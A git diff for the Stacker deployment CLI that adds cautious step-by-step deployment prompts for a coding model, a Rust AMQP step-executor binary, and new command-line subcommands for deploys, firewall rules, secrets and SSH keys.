+name: website-deploy
+description: Repeatable website deployment workflow for simple HTML and Next.js projects using conservative Stacker commands.
+model_match:
+  provider: ollama
+  name_contains:
+    - qwen2.5-code
+    - qwen2.5-coder
+trigger_conditions:
+  app_types:
+    - static
+    - node
+  website_kinds:
+    - html
+    - nextjs
+default_step: init-validate
+required_vars:
+  - public_domain
+  - image_repository
+  - image_tag
+  - cloud_provider
+  - cloud_region
+  - cloud_size
+transcript_rules:
+  default_path: docs/deployment-history.md
+  update_existing: true
+safety_rules:
+  - Never invent Stacker commands or flags.
+  - Inspect before mutate and dry-run before deploy.
+  - Ask for missing secrets only when the current step truly needs them.
+  - Do not assume the image exists remotely until it has been pushed successfully.
+  - Remember that `stacker agent install` does not persist local config unless explicitly requested.
+steps:
+  - id: init-validate
+    title: Validate generated stacker config and local artifacts
+    file: steps/01-init-validate.md
+  - id: image-publish
+    title: Build and publish the application image
+    file: steps/02-image-publish.md
+  - id: cloud-deploy
+    title: Deploy the stack to the cloud target
+    file: steps/03-cloud-deploy.md
+  - id: agent-firewall-dns-proxy
+    title: Install the agent and wire firewall, DNS, and proxy
+    file: steps/04-agent-firewall-dns-proxy.md
+  - id: runtime-ops
+    title: Verify runtime behavior and record the deployment story
+    file: steps/05-runtime-ops.md
diff --git a/scenarios/qwen2.5-coder/website-deploy/steps/01-init-validate.md b/scenarios/qwen2.5-coder/website-deploy/steps/01-init-validate.md
new file mode 100644
index 00000000..3859b50a
--- /dev/null
+++ b/scenarios/qwen2.5-coder/website-deploy/steps/01-init-validate.md
@@ -0,0 +1,12 @@
+You are continuing a website deployment workflow immediately after `stacker init --with-ai`.
+
+Focus only on these actions:
+1. Inspect the generated `stacker.yml`, `.stacker/Dockerfile`, and `.stacker/docker-compose.yml`.
+2. Confirm the detected app type and upstream port make sense for the project kind.
+3. Point out only concrete fixes that are needed before publishing an image.
+4. Tell the user the exact next Stacker or Docker commands to run.
+
+Guardrails:
+- Do not jump straight to cloud deploy from this step.
+- If a value is missing, ask for it explicitly instead of inventing it.
+- Keep the answer procedural and command-focused.
diff --git a/scenarios/qwen2.5-coder/website-deploy/steps/02-image-publish.md b/scenarios/qwen2.5-coder/website-deploy/steps/02-image-publish.md
new file mode 100644
index 00000000..ee16f898
--- /dev/null
+++ b/scenarios/qwen2.5-coder/website-deploy/steps/02-image-publish.md
@@ -0,0 +1,12 @@
+This step is about turning the local project into a remotely deployable image.
+
+Required behavior:
+1. Verify the image repository and tag that should be produced.
+2. Explain the exact build, login, and push commands needed for the chosen registry.
+3. Refuse to proceed to remote deploy until the image push has completed successfully.
+4. Mention any project-specific checks that should happen before push, such as build or local smoke tests.
+
+Guardrails:
+- Do not assume the registry already contains the image.
+- If the repository or tag is missing, ask for it.
+- Keep the answer conservative and sequential.
diff --git a/scenarios/qwen2.5-coder/website-deploy/steps/03-cloud-deploy.md b/scenarios/qwen2.5-coder/website-deploy/steps/03-cloud-deploy.md
new file mode 100644
index 00000000..8b1e6f2c
--- /dev/null
+++ b/scenarios/qwen2.5-coder/website-deploy/steps/03-cloud-deploy.md
@@ -0,0 +1,12 @@
+This step is about deploying the already published image to the target cloud server.
+
+Required behavior:
+1. Confirm that the image has already been pushed.
+2. Use `stacker deploy --target cloud --dry-run` before any real deploy.
+3. Use the configured cloud provider, region, and size from the scenario variables.
+4. If SSL validation or provider setup causes a known temporary issue, explain the safest retry path rather than inventing a workaround.
+
+Guardrails:
+- Do not skip the dry run.
+- Do not silently rewrite local config for unrelated convenience.
+- If deploy inputs are incomplete, stop and ask for them explicitly.
diff --git a/scenarios/qwen2.5-coder/website-deploy/steps/04-agent-firewall-dns-proxy.md b/scenarios/qwen2.5-coder/website-deploy/steps/04-agent-firewall-dns-proxy.md
new file mode 100644
index 00000000..b1747de7
--- /dev/null
+++ b/scenarios/qwen2.5-coder/website-deploy/steps/04-agent-firewall-dns-proxy.md
@@ -0,0 +1,12 @@
+This step is about making the remote deployment reachable and operable.
+
+Required behavior:
+1. Guide the user through `stacker agent install` without implying that local config is persisted by default.
+2. Explain firewall openings and DNS records required for the application and proxy.
+3. When reverse proxy configuration is needed, keep Nginx Proxy Manager runtime targeting in mind.
+4. Prefer service DNS names for container-to-container traffic on the server instead of loopback addresses.
+
+Guardrails:
+- Do not claim that `stacker agent install` changes `stacker.yml` unless `--persist-config` is explicitly chosen.
+- Nginx Proxy Manager runtime access should use `http://nginx-proxy-manager:81`.
+- For remote service traffic, prefer names like `smtp:25` rather than `127.0.0.1`.
diff --git a/scenarios/qwen2.5-coder/website-deploy/steps/05-runtime-ops.md b/scenarios/qwen2.5-coder/website-deploy/steps/05-runtime-ops.md
new file mode 100644
index 00000000..2fe6cc92
--- /dev/null
+++ b/scenarios/qwen2.5-coder/website-deploy/steps/05-runtime-ops.md
@@ -0,0 +1,12 @@
+This step is about post-deploy inspection, troubleshooting, and recording the workflow.
+
+Required behavior:
+1. Use read-only Stacker inspection commands before suggesting any change.
+2. Check runtime status, logs, DNS, and proxy health in a disciplined order.
+3. Update an existing deployment-history-style document when present, or create `docs/deployment-history.md` when the project has no transcript yet.
+4. End with the next smallest safe action instead of a broad checklist.
+
+Guardrails:
+- Avoid speculative fixes.
+- If the issue is unclear, ask for the specific command output that is missing.
+- Keep the transcript factual and tied to commands that were actually run.
diff --git a/src/bin/agent_executor.rs b/src/bin/agent_executor.rs
new file mode 100644
index 00000000..4953053c
--- /dev/null
+++ b/src/bin/agent_executor.rs
@@ -0,0 +1,289 @@
+//! Agent Executor — standalone AMQP consumer for pipe/DAG step execution.
+//!
+//! Receives `StepCommand` messages from Stacker via RabbitMQ, executes steps
+//! using the shared step_executor module (no DB dependencies), and publishes
+//! `StepResultMsg` back. Includes in-memory circuit breaker + exponential backoff.
+//!
+//! Usage:
+//!   agent-executor --amqp-url amqp://guest:guest@localhost:5672 --deployment-hash deploy-abc
+
+use chrono::Utc;
+use clap::Parser;
+use futures_lite::stream::StreamExt;
+use lapin::options::*;
+use lapin::types::FieldTable;
+use lapin::{BasicProperties, Channel, Connection, ConnectionProperties, ExchangeKind};
+use std::sync::Arc;
+use std::time::Instant;
+use tokio::signal;
+use tokio::sync::Notify;
+use tracing::{error, info};
+
+use stacker::models::agent_protocol::{routing, StepCommand, StepResultMsg, StepStatus};
+use stacker::services::resilience_engine::{
+    execute_with_resilience, CircuitBreakerConfig, InMemoryCircuitBreaker,
+};
+
+#[derive(Parser, Debug)]
+#[command(name = "agent-executor", about = "Pipe step executor agent")]
+struct Args {
+    /// AMQP connection URL
+    #[arg(
+        long,
+        env = "AMQP_URL",
+        default_value = "amqp://guest:guest@localhost:5672"
+    )]
+    amqp_url: String,
+
+    /// Deployment hash to scope this executor to
+    #[arg(long, env = "DEPLOYMENT_HASH")]
+    deployment_hash: String,
+
+    /// Channel prefetch count (QoS)
+    #[arg(long, default_value = "10")]
+    prefetch: u16,
+}
+
+#[tokio::main]
+async fn main() -> Result<(), Box<dyn std::error::Error>> {
+    // Initialize tracing
+    tracing_subscriber::fmt()
+        .with_env_filter(
+            tracing_subscriber::EnvFilter::try_from_default_env()
+                .unwrap_or_else(|_| tracing_subscriber::EnvFilter::new("info")),
+        )
+        .init();
+
+    let args = Args::parse();
+    info!(
+        deployment_hash = %args.deployment_hash,
+        prefetch = args.prefetch,
+        "Starting agent-executor"
+    );
+
+    // Connect to RabbitMQ
+    let conn = Connection::connect(&args.amqp_url, ConnectionProperties::default()).await?;
+    info!("Connected to AMQP broker");
+
+    let channel = conn.create_channel().await?;
+
+    // Declare exchange
+    channel
+        .exchange_declare(
+            routing::EXCHANGE,
+            ExchangeKind::Topic,
+            ExchangeDeclareOptions {
+                durable: true,
+                ..Default::default()
+            },
+            FieldTable::default(),
+        )
+        .await?;
+
+    // Declare durable queue for this deployment
+    let queue_name = routing::agent_queue(&args.deployment_hash);
+    channel
+        .queue_declare(
+            &queue_name,
+            QueueDeclareOptions {
+                durable: true,
+                ..Default::default()
+            },
+            FieldTable::default(),
+        )
+        .await?;
+
+    // Bind to execute routing key
+    let routing_key = routing::execute_key(&args.deployment_hash);
+    channel
+        .queue_bind(
+            &queue_name,
+            routing::EXCHANGE,
+            &routing_key,
+            QueueBindOptions::default(),
+            FieldTable::default(),
+        )
+        .await?;
+
+    // Set QoS
+    channel
+        .basic_qos(args.prefetch, BasicQosOptions::default())
+        .await?;
+
+    info!(queue = %queue_name, routing_key = %routing_key, "Listening for step commands");
+
+    // Create publish channel (separate from consume channel)
+    let publish_channel = conn.create_channel().await?;
+    let publish_channel = Arc::new(publish_channel);
+
+    // Circuit breaker (in-memory, per-process)
+    let circuit_breaker = Arc::new(tokio::sync::Mutex::new(InMemoryCircuitBreaker::new(
+        CircuitBreakerConfig {
+            failure_threshold: 5,
+            recovery_timeout: std::time::Duration::from_secs(30),
+            half_open_max_requests: 2,
+        },
+    )));
+
+    // Graceful shutdown
+    let shutdown = Arc::new(Notify::new());
+    let shutdown_clone = shutdown.clone();
+    tokio::spawn(async move {
+        let _ = signal::ctrl_c().await;
+        info!("Received shutdown signal");
+        shutdown_clone.notify_one();
+    });
+
+    // Start consuming
+    let mut consumer = channel
+        .basic_consume(
+            &queue_name,
+            &format!("agent-executor-{}", &args.deployment_hash),
+            BasicConsumeOptions::default(),
+            FieldTable::default(),
+        )
+        .await?;
+
+    let result_routing_key = routing::result_key(&args.deployment_hash);
+
+    loop {
+        tokio::select! {
+            _ = shutdown.notified() => {
+                info!("Shutting down gracefully");
+                break;
+            }
+            delivery = consumer.next() => {
+                match delivery {
+                    Some(Ok(delivery)) => {
+                        let payload = delivery.data.clone();
+                        let pub_ch = publish_channel.clone();
+                        let result_rk = result_routing_key.clone();
+                        let cb = circuit_breaker.clone();
+
+                        // Process in spawned task for concurrency
+                        tokio::spawn(async move {
+                            let result_msg = process_step(&payload, cb).await;
+
+                            // Publish result
+                            if let Err(e) = publish_result(&pub_ch, routing::EXCHANGE, &result_rk, &result_msg).await {
+                                error!(error = %e, "Failed to publish step result");
+                            }
+
+                            // ACK the delivery
+                            if let Err(e) = delivery.ack(BasicAckOptions::default()).await {
+                                error!(error = %e, "Failed to ACK delivery");
+                            }
+                        });
+                    }
+                    Some(Err(e)) => {
+                        error!(error = %e, "Consumer error");
+                        break;
+                    }
+                    None => {
+                        info!("Consumer stream ended");
+                        break;
+                    }
+                }
+            }
+        }
+    }
+
+    info!("Agent executor stopped");
+    Ok(())
+}
+
+/// Process a single step command, returning the result message.
+async fn process_step(
+    payload: &[u8],
+    circuit_breaker: Arc<tokio::sync::Mutex<InMemoryCircuitBreaker>>,
+) -> StepResultMsg {
+    let start = Instant::now();
+
+    // Deserialize command
+    let cmd: StepCommand = match serde_json::from_slice(payload) {
+        Ok(cmd) => cmd,
+        Err(e) => {
+            error!(error = %e, "Failed to deserialize StepCommand");
+            return StepResultMsg {
+                execution_id: uuid::Uuid::nil(),
+                step_id: uuid::Uuid::nil(),
+                status: StepStatus::Failed,
+                output_data: None,
+                error: Some(format!("Deserialization error: {}", e)),
+                duration_ms: start.elapsed().as_millis() as i64,
+                timestamp: Utc::now(),
+            };
+        }
+    };
+
+    info!(
+        execution_id = %cmd.execution_id,
+        step_id = %cmd.step_id,
+        step_type = %cmd.step_type,
+        step_name = %cmd.step_name,
+        "Processing step"
+    );
+
+    // Execute with resilience (retry + backoff + circuit breaker)
+    let retry_policy = cmd.retry_policy.clone().unwrap_or_default();
+
+    let mut cb = circuit_breaker.lock().await;
+    let result = execute_with_resilience(
+        &cmd.step_type,
+        &cmd.config,
+        &cmd.input_data,
+        &retry_policy,
+        &mut cb,
+    )
+    .await;
+    drop(cb);
+
+    let duration_ms = start.elapsed().as_millis() as i64;
+
+    match result {
+        Ok(output) => {
+            info!(
+                execution_id = %cmd.execution_id,
+                step_id = %cmd.step_id,
+                duration_ms,
+                "Step completed successfully"
+            );
+            StepResultMsg::success(cmd.execution_id, cmd.step_id, output, duration_ms)
+        }
+        Err(e) => {
+            error!(
+                execution_id = %cmd.execution_id,
+                step_id = %cmd.step_id,
+                error = %e,
+                duration_ms,
+                "Step failed after retries"
+            );
+            StepResultMsg::failure(cmd.execution_id, cmd.step_id, e, duration_ms)
+        }
+    }
+}
+
+/// Publish a StepResultMsg to the AMQP exchange.
+async fn publish_result(
+    channel: &Channel,
+    exchange: &str,
+    routing_key: &str,
+    result: &StepResultMsg,
+) -> Result<(), String> {
+    let payload = serde_json::to_vec(result).map_err(|e| format!("Serialize error: {}", e))?;
+    channel
+        .basic_publish(
+            exchange,
+            routing_key,
+            BasicPublishOptions::default(),
+            &payload,
+            BasicProperties::default()
+                .with_content_type("application/json".into())
+                .with_delivery_mode(2), // persistent
+        )
+        .await
+        .map_err(|e| format!("Publish error: {}", e))?
+        .await
+        .map_err(|e| format!("Confirm error: {}", e))?;
+    Ok(())
+}
diff --git a/src/bin/stacker.rs b/src/bin/stacker.rs
index 4f2a445e..f00072b5 100644
--- a/src/bin/stacker.rs
+++ b/src/bin/stacker.rs
@@ -15,6 +15,7 @@
 //! designed for end-user distribution.
 
 use clap::{Args, CommandFactory, Parser, Subcommand};
+use stacker::console::commands::cli::secrets::RemoteSecretScope;
 
 fn print_banner() {
     let version = env!("CARGO_PKG_VERSION");
@@ -60,10 +61,24 @@ enum StackerCommands {
         /// Custom platform domain
         #[arg(long)]
         domain: Option<String>,
-        /// API base URL (default: https://api.try.direct)
-        #[arg(long = "auth-url", visible_alias = "api-url")]
+        /// User Service auth URL (or set STACKER_AUTH_URL)
+        #[arg(long = "auth-url")]
         auth_url: Option<String>,
+        /// Stacker API base URL (or set STACKER_URL)
+        #[arg(long = "server-url", visible_alias = "api-url")]
+        server_url: Option<String>,
+        /// Authenticate via browser OAuth2 flow (opens a sign-in URL)
+        #[arg(long)]
+        browser: bool,
+        /// OAuth provider code for browser login: gc (Google), gh (GitHub), … (default: gc)
+        #[arg(long, value_name = "PROVIDER")]
+        provider: Option<String>,
+        /// Log in with username/password instead of browser OAuth (skips browser flow)
+        #[arg(short = 'u', long, value_name = "EMAIL")]
+        user: Option<String>,
     },
+    /// Show the saved login and current project's recorded deploy identity
+    Whoami {},
     /// Initialize a new stacker project (generates stacker.yml + Dockerfile)
     Init {
         /// Application type: static, node, python, rust, go, php
@@ -78,6 +93,15 @@ enum StackerCommands {
         /// Immediately run cloud setup wizard after init
         #[arg(long)]
         with_cloud: bool,
+        /// Set the active deployment target: local, cloud, server
+        #[arg(long, value_name = "TARGET")]
+        target: Option<String>,
+        /// Generate stacker.yml from a GitHub repository (owner/repo or full URL)
+        #[arg(short = 'g', long, value_name = "URL")]
+        from_github: Option<String>,
+        /// Overwrite existing stacker.yml if present
+        #[arg(short = 'f', long)]
+        force: bool,
         /// AI provider: openai, anthropic, ollama, custom (default: ollama)
         #[arg(long, value_name = "PROVIDER")]
         ai_provider: Option<String>,
@@ -87,12 +111,23 @@ enum StackerCommands {
         /// AI API key (or set OPENAI_API_KEY / ANTHROPIC_API_KEY env var)
         #[arg(long, value_name = "KEY")]
         ai_api_key: Option<String>,
+        /// AI endpoint URL (e.g. http://localhost:11434 for Ollama)
+        #[arg(long, value_name = "URL")]
+        ai_endpoint: Option<String>,
     },
     /// Build & deploy the stack
     Deploy {
+        /// Service name for surgical single-service deploy (e.g. `stacker deploy stacker-website`).
+        /// Reads local docker-compose.yml, injects the service into the remote compose, and
+        /// starts only that container — other running services are not touched.
+        #[arg(value_name = "SERVICE")]
+        service: Option<String>,
         /// Deployment target: local, cloud, server
         #[arg(long, value_name = "TARGET")]
         target: Option<String>,
+        /// Deploy environment/profile, e.g. development, staging, production
+        #[arg(long = "env", alias = "environment", value_name = "ENVIRONMENT")]
+        environment: Option<String>,
         /// Path to stacker.yml (default: ./stacker.yml)
         #[arg(long, value_name = "FILE")]
         file: Option<String>,
@@ -129,6 +164,27 @@ enum StackerCommands {
         /// Container runtime: "runc" (default) or "kata" for hardware-isolated containers
         #[arg(long, value_name = "RUNTIME", default_value = "runc")]
         runtime: String,
+        /// Print a read-only deployment plan instead of applying changes
+        #[arg(long)]
+        plan: bool,
+        /// Revalidate and apply a previously generated deployment plan fingerprint
+        #[arg(long, value_name = "FINGERPRINT", conflicts_with = "plan")]
+        apply_plan: Option<String>,
+        /// Skip every shell hook (`pre_build`, `post_deploy`, `on_failure`)
+        /// regardless of whether stacker.yml is user-authored or generated.
+        /// CI-safe default for automated deploys.
+        #[arg(long)]
+        no_hooks: bool,
+        /// Run hook scripts even when stacker.yml was generated by the
+        /// marketplace. Only pass this after reviewing the hook scripts.
+        #[arg(long)]
+        allow_untrusted_hooks: bool,
+    },
+    /// Attach this directory to an existing deployment from the dashboard
+    Connect {
+        /// Handoff token or full handoff URL copied from the dashboard
+        #[arg(long, value_name = "TOKEN_OR_URL")]
+        handoff: String,
     },
     /// Submit current stack to the marketplace for review
     Submit {
@@ -151,6 +207,68 @@ enum StackerCommands {
         #[arg(long)]
         price: Option<f64>,
     },
+    /// Search marketplace application templates
+    Find {
+        /// Search query, e.g. "dify"
+        query: String,
+        /// Output in JSON format
+        #[arg(long)]
+        json: bool,
+        /// Maximum number of results to return
+        #[arg(long)]
+        limit: Option<u32>,
+    },
+    /// List all available marketplace application templates
+    #[command(visible_alias = "catalog", visible_alias = "apps")]
+    Templates {
+        /// Filter by category code
+        #[arg(long)]
+        category: Option<String>,
+        /// Filter by tag
+        #[arg(long)]
+        tag: Option<String>,
+        /// Output in JSON format
+        #[arg(long)]
+        json: bool,
+    },
+    /// Create a project from a marketplace application template
+    Install {
+        /// Template slug from `stacker find`
+        template: String,
+        /// Project name override
+        #[arg(long)]
+        name: Option<String>,
+        /// Base domain for Install Service commonDomain, e.g. dify.com
+        #[arg(long, value_name = "DOMAIN")]
+        domain: Option<String>,
+        /// Install input override. Repeat as needed, e.g. --set admin_email=owner@example.com
+        #[arg(long = "set", value_name = "KEY=VALUE")]
+        set_values: Vec<String>,
+        /// Path to write stacker.yml (default: ./stacker.yml)
+        #[arg(long, value_name = "FILE")]
+        file: Option<std::path::PathBuf>,
+        /// Overwrite an existing stacker.yml
+        #[arg(long)]
+        force: bool,
+        /// Output in JSON format
+        #[arg(long)]
+        json: bool,
+        /// Name of saved cloud credential to reuse (overrides auto-detected default)
+        #[arg(long, value_name = "KEY_NAME")]
+        key: Option<String>,
+        /// ID of saved cloud credential to reuse (from `stacker list clouds`)
+        #[arg(long, value_name = "CLOUD_ID")]
+        key_id: Option<i32>,
+        /// Cloud region for the new server (e.g. nbg1, fsn1)
+        #[arg(long, value_name = "REGION")]
+        region: Option<String>,
+        /// Cloud server size/type (e.g. cx23, cpx21)
+        #[arg(long, value_name = "SIZE")]
+        size: Option<String>,
+        /// Cloud provider (hetzner|digitalocean|aws|linode|vultr). Overrides provider from saved credential.
+        #[arg(long, value_name = "PROVIDER")]
+        provider: Option<String>,
+    },
     /// Show container logs
     Logs {
         /// Show logs for a specific service only
@@ -175,6 +293,16 @@ enum StackerCommands {
         #[arg(long)]
         watch: bool,
     },
+    /// Deployment inspection commands
+    Deployment {
+        #[command(subcommand)]
+        command: DeploymentCommands,
+    },
+    /// Explain path and topology decisions
+    Explain {
+        #[command(subcommand)]
+        command: ExplainCommands,
+    },
     /// Tear down the deployed stack
     Destroy {
         /// Also remove named volumes
@@ -184,6 +312,15 @@ enum StackerCommands {
         #[arg(long, short = 'y')]
         confirm: bool,
     },
+    /// Roll back a marketplace deployment to a prior template version
+    Rollback {
+        /// Marketplace template version to redeploy
+        #[arg(long, value_name = "VERSION")]
+        version: String,
+        /// Skip confirmation prompt (required)
+        #[arg(long, short = 'y')]
+        confirm: bool,
+    },
     /// Configuration management
     Config {
         #[command(subcommand)]
@@ -201,7 +338,46 @@ enum StackerCommands {
         #[command(subcommand)]
         command: ListCommands,
     },
-    /// SSH key management (generate, show, upload)
+    /// List all projects (alias for `stacker list projects`)
+    Projects {
+        /// Output in JSON format
+        #[arg(long)]
+        json: bool,
+    },
+    /// List deployments (alias for `stacker list deployments`)
+    Deployments {
+        /// Filter by project ID
+        #[arg(long)]
+        project: Option<i32>,
+        /// Limit number of results
+        #[arg(long)]
+        limit: Option<i64>,
+        /// Output in JSON format
+        #[arg(long)]
+        json: bool,
+    },
+    /// List all servers (alias for `stacker list servers`)
+    Servers {
+        /// Output in JSON format
+        #[arg(long)]
+        json: bool,
+    },
+    /// List SSH keys (alias for `stacker list ssh-keys`)
+    #[command(name = "ssh-keys")]
+    SshKeys {
+        /// Output in JSON format
+        #[arg(long)]
+        json: bool,
+    },
+    /// List saved cloud credentials (alias for `stacker list clouds`)
+    Clouds {
+        /// Output in JSON format
+        #[arg(long)]
+        json: bool,
+    },
+    /// SSH key management (generate, show, upload, repair)
+    #[command(long_about = "Manage Stacker server SSH keys.\n\n\
+Cloud deploys automatically create a local backup SSH key under the Stacker config directory and authorize it on the deployed server when possible. The `generate` command manages the server-side Vault key; `inject` repairs a server by using an already-working local private key to add the Vault public key.")]
     #[command(name = "ssh-key")]
     SshKey {
         #[command(subcommand)]
@@ -236,7 +412,32 @@ enum StackerCommands {
         #[arg(value_enum)]
         shell: clap_complete::Shell,
     },
-    /// Manage secrets and environment variables in .env
+    /// Manage local .env secrets and remote Vault-backed secrets
+    #[command(
+        long_about = "Manage secrets in two modes:\n\
+\n\
+  Local mode (default)\n\
+    Reads and writes a project .env file.\n\
+\n\
+  Remote mode\n\
+    Uses the authenticated Stacker API to manage Vault-backed secrets for a\n\
+    service or a server. Remote reads are metadata-only in v1 and never return\n\
+    plaintext secret values.\n\
+\n\
+Use explicit --scope service or --scope server to activate remote mode.",
+        after_help = "Examples:\n\
+  Local .env secret:\n\
+    stacker secrets set DB_PASSWORD=supersecret\n\
+\n\
+  Service secret for one app:\n\
+    stacker secrets set S3_SECRET_KEY --scope service --project blog --service uploader --body supersecret\n\
+\n\
+  Server secret from a file:\n\
+    stacker secrets set NPM_TOKEN --scope server --server-id 42 --body-file .npm-token\n\
+\n\
+  List remote metadata as JSON:\n\
+    stacker secrets list --scope service --project blog --service uploader --json"
+    )]
     Secrets {
         #[command(subcommand)]
         command: SecretsCommands,
@@ -251,6 +452,11 @@ enum StackerCommands {
         #[command(subcommand)]
         command: PipeCommands,
     },
+    /// Cloud provider operations
+    Cloud {
+        #[command(subcommand)]
+        command: CloudCommands,
+    },
     /// Status Panel agent control (health, logs, restart, deploy)
     Agent {
         #[command(subcommand)]
@@ -261,6 +467,74 @@ enum StackerCommands {
         #[command(subcommand)]
         command: MarketplaceCommands,
     },
+    /// Switch or show the active deployment target (local, cloud, server)
+    Target {
+        /// Target to switch to: local, cloud, or server. Omit to show current.
+        target: Option<String>,
+    },
+    /// Switch or show the active deploy environment/profile
+    Env {
+        /// Environment to switch to. Omit to show current.
+        environment: Option<String>,
+    },
+}
+
+#[derive(Debug, Subcommand)]
+enum CloudCommands {
+    /// Configure cloud provider firewall rules without SSH
+    Firewall {
+        #[command(subcommand)]
+        command: CloudFirewallCommands,
+    },
+}
+
+#[derive(Debug, Subcommand)]
+enum CloudFirewallCommands {
+    /// Add cloud firewall rules
+    Add {
+        /// Server ID to configure
+        #[arg(long)]
+        server_id: Option<i32>,
+        /// Public ports (open to all), comma-separated: "80/tcp,443/tcp,53/udp"
+        #[arg(long, value_delimiter = ',')]
+        public_ports: Vec<String>,
+        /// Private ports, comma-separated: "5432/tcp:10.0.0.0/8"
+        #[arg(long, value_delimiter = ',')]
+        private_ports: Vec<String>,
+        /// Validate and enqueue without applying provider changes
+        #[arg(long)]
+        dry_run: bool,
+        /// Output in JSON format
+        #[arg(long)]
+        json: bool,
+    },
+    /// Remove cloud firewall rules
+    Remove {
+        /// Server ID to configure
+        #[arg(long)]
+        server_id: Option<i32>,
+        /// Public ports (open to all), comma-separated: "80/tcp,443/tcp,53/udp"
+        #[arg(long, value_delimiter = ',')]
+        public_ports: Vec<String>,
+        /// Private ports, comma-separated: "5432/tcp:10.0.0.0/8"
+        #[arg(long, value_delimiter = ',')]
+        private_ports: Vec<String>,
+        /// Validate and enqueue without applying provider changes
+        #[arg(long)]
+        dry_run: bool,
+        /// Output in JSON format
+        #[arg(long)]
+        json: bool,
+    },
+    /// List cloud firewall rules
+    List {
+        /// Server ID to inspect
+        #[arg(long)]
+        server_id: Option<i32>,
+        /// Output in JSON format
+        #[arg(long)]
+        json: bool,
+    },
 }
 
 #[derive(Debug, Subcommand)]
@@ -377,12 +651,17 @@ enum SshKeyCommands {
         #[arg(long, value_name = "FILE")]
         private_key: std::path::PathBuf,
     },
-    /// Inject the Vault-stored public key into a server's authorized_keys via a working local key
+    /// Bootstrap the Vault-managed public key onto a server via an already-working SSH private key
+    #[command(
+        long_about = "Bootstrap the Vault-managed public key onto a server by logging in with an already-working SSH private key.\n\n\
+This command does not install your local key onto the server. Instead, it uses --with-key as a bootstrap credential, connects to the server, and appends the Vault-stored public key to ~/.ssh/authorized_keys.\n\n\
+Use this when Stacker already has a key for the server in Vault, but the server no longer trusts that key. If you want Stacker to use your local key pair, use `stacker ssh-key upload` instead."
+    )]
     Inject {
         /// Server ID whose Vault public key should be injected
         #[arg(long)]
         server_id: i32,
-        /// Path to a local private key that already grants SSH access to the server
+        /// Path to a bootstrap private key that already grants SSH access to the server
         #[arg(long, value_name = "FILE")]
         with_key: std::path::PathBuf,
         /// SSH user on the remote server (default: root)
@@ -404,6 +683,64 @@ enum ServiceCommands {
         #[arg(long, value_name = "FILE")]
         file: Option<String>,
     },
+    /// Import custom services from a local Docker Compose file after a safety review
+    Import {
+        /// Target custom service name for a single selected service
+        name: String,
+        /// Local Docker Compose file to review and import
+        #[arg(long, value_name = "PATH")]
+        from_compose: Option<std::path::PathBuf>,
+        /// Planned future source; currently returns a safe not-yet-implemented error
+        #[arg(long, value_name = "OWNER/REPO")]
+        from_github: Option<String>,
+        /// Planned future source; currently returns a safe not-yet-implemented error
+        #[arg(long, value_name = "URL")]
+        from_url: Option<String>,
+        /// Compose service name to import. Omit to import all image-backed services.
+        #[arg(long, value_name = "COMPOSE_SERVICE")]
+        service: Option<String>,
+        /// Rename imported services as old=new. Repeat for multiple services.
+        #[arg(long, value_name = "OLD=NEW")]
+        rename: Vec<String>,
+        /// Path to stacker.yml (default: ./stacker.yml)
+        #[arg(long, value_name = "FILE")]
+        file: Option<String>,
+        /// Review only; do not write stacker.yml
+        #[arg(long)]
+        review: bool,
+        /// Skip confirmation prompt and write after review
+        #[arg(long, short = 'y')]
+        yes: bool,
+        /// Output structured JSON with secret-like environment values redacted
+        #[arg(long)]
+        json: bool,
+    },
+    /// Deploy/update a configured service through the remote app deploy path
+    Deploy {
+        /// Service name from stacker.yml to deploy
+        name: String,
+        /// Force recreate the remote container
+        #[arg(long)]
+        force: bool,
+        /// Container runtime: "runc" (default) or "kata"
+        #[arg(long, default_value = "runc")]
+        runtime: String,
+        /// Output in JSON format
+        #[arg(long)]
+        json: bool,
+        /// Deployment hash
+        #[arg(long)]
+        deployment: Option<String>,
+        /// Deploy environment/profile, e.g. local, dev, prod
+        #[arg(long = "env", alias = "environment", value_name = "ENVIRONMENT")]
+        environment: Option<String>,
+        /// Print a read-only deploy-app plan instead of applying changes
+        #[arg(long)]
+        plan: bool,
+        /// Revalidate and apply a previously generated deploy-app plan fingerprint
+        #[arg(long, value_name = "FINGERPRINT", conflicts_with = "plan")]
+        apply_plan: Option<String>,
+    },
     /// Remove a service from stacker.yml
     Remove {
         /// Service name to remove
@@ -420,6 +757,64 @@ enum ServiceCommands {
     },
 }
 
+#[derive(Debug, Subcommand)]
+enum DeploymentCommands {
+    /// Show canonical deployment state
+    State {
+        /// Output in JSON format
+        #[arg(long)]
+        json: bool,
+        /// Override deployment hash instead of using stacker.yml
+        #[arg(long)]
+        deployment: Option<String>,
+    },
+    /// Show structured deployment events
+    Events {
+        /// Output in JSON format
+        #[arg(long)]
+        json: bool,
+        /// Override deployment hash instead of using stacker.yml
+        #[arg(long)]
+        deployment: Option<String>,
+    },
+    /// Preview or apply a deployment rollback
+    Rollback {
+        /// Roll back to `previous` or a specific marketplace template version
+        #[arg(long, value_name = "TARGET")]
+        to: String,
+        /// Print a read-only rollback plan instead of applying it
+        #[arg(long, conflicts_with = "apply_plan")]
+        plan: bool,
+        /// Revalidate and apply a previously generated rollback plan fingerprint
+        #[arg(long, value_name = "FINGERPRINT", conflicts_with = "plan")]
+        apply_plan: Option<String>,
+        /// Override deployment hash instead of using stacker.yml
+        #[arg(long)]
+        deployment: Option<String>,
+        /// Confirm rollback apply
+        #[arg(long, short = 'y')]
+        confirm: bool,
+    },
+}
+
+#[derive(Debug, Subcommand)]
+enum ExplainCommands {
+    /// Explain env provenance for an app or service
+    Env {
+        /// App code or service name
+        app: String,
+        /// Output in JSON format
+        #[arg(long)]
+        json: bool,
+    },
+    /// Explain compose/env topology for the current target
+    Topology {
+        /// Output in JSON format
+        #[arg(long)]
+        json: bool,
+    },
+}
+
 #[derive(Debug, Subcommand)]
 enum ConfigCommands {
     /// Validate stacker.yml syntax and semantics
@@ -431,6 +826,9 @@ enum ConfigCommands {
     Show {
         #[arg(long, value_name = "FILE")]
         file: Option<String>,
+        /// Show paths, hash/version metadata, and contributing layers without values
+        #[arg(long)]
+        resolved: bool,
     },
     /// Print a full commented `stacker.yml` reference example
     Example,
@@ -461,11 +859,48 @@ enum ConfigCommands {
 
 #[derive(Debug, Subcommand)]
 enum ConfigSetupCommands {
+    /// Register a server (intranet or remote) as the deploy target
+    Server {
+        #[arg(long, value_name = "FILE")]
+        file: Option<String>,
+        /// Server IP address or hostname (e.g. 192.168.100.245)
+        #[arg(long, value_name = "IP")]
+        ip: Option<String>,
+        /// SSH user (default: root)
+        #[arg(long, value_name = "USER")]
+        user: Option<String>,
+        /// SSH port (default: 22)
